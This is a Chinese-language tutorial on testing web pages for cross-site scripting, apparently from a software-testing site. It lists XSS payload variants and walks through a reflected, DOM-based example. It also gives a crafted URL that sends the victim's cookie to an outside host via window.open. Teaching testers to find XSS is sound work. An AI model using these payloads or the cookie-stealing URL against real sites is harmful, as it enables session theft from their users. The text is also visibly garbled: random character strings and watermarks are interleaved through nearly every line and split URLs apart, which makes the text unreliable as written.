跨站脚本简称XSS(cross sites script),是web安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
(X)J KC2O0 51Testing软件测试网u2O
O%~
F5t7B2W
最常见的测试跨站脚本的方法,输入
6]d4N@(iL%Z$W4_0<Script>alert(1)</script>
xd%E-TF)Mc
o0以及它的各种变体
x0g8z|A
\5w0<script>alert(1) </script>实体
j+u%X1xe0%3Cscript%3Ealert(1)%3C/script%3E URL编码
?(QuRnf*P]I0<scr<script>ipt>alert(1)<scr<script>ipt>
XX7`+K/w-Z5j0<script x=1>alert(1)</script x=1> 还可以这样写51Testing软件测试网oi&bG_Ne!GIO
或者<script>confirm(1)</script>51Testing软件测试网1}8kLsz
<javascript.:alert(1)>;等51Testing软件测试网pq2g0q6O
如果提交后,页面弹出警告框,则该页面存在xss漏洞51Testing软件测试网:uR:Dp5U?2N
*反射型xss
v)P1y3\xZ0通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果
kh?;g]PP'h|0如:一段代码
3uX8iOi-{t0<html><body>
6q-tWFx!W0<script>
VDN0zfm&|Cz0document.write(location.search);</script>//location.search返回url?开始的部分
9sl+v&U5T#Wv9X
xc0</body></html>
2|9rCLVUN0当输入以下url
7bp"tRQ|&^0"http51Testing软件测试网/v9F'p+pgO ?@f#y/K`
://127.0.0.1/attrck.html?search=222"
\#E!v"a;db![0页面将显示:?search=222 ;但url中如果输入
4BNT9V&\/g0/?search=<Script>alert(1)</script>
[f(T-HD,U,U%|0则页面的实际代码为:
h6Zn_.O5o0document.write(?search=)<Script>alert(1)</script>;
4A%b1i*rv![0将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果
5v#JCWw:jcz0 51Testing软件测试网:b-k1|pAC%l
可以使用伪造后的url获取用户cookie
@_3Mj6ZW0如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到百度并进行搜索
.Y(h
lJ+ks4U+r
|7[h"G)o0http:51Testing软件测试网Q3@*{6eg `JU!z
//127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
!x5g#L6@2{J*l0因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
J;[hb)y.uI]?B0
.?X%tsCkP!V0*保存型xss51Testing软件测试网/x%JB0n fj!gaxR2G
是指将恶意代码保存到服务器,比如发布一篇文章包含恶意代码,其他用户浏览时将执行恶意脚本
ta Y$t4C0*基于dom的xss51Testing软件测试网/~#ZuhZr
严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
o/{!tk/~$Q0查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。
.H~]8x4A1v@0
R%t,X(FM+y@0
w1@:xq#X;W0 51Testing软件测试网 Kn!M1p)^9jK8N5J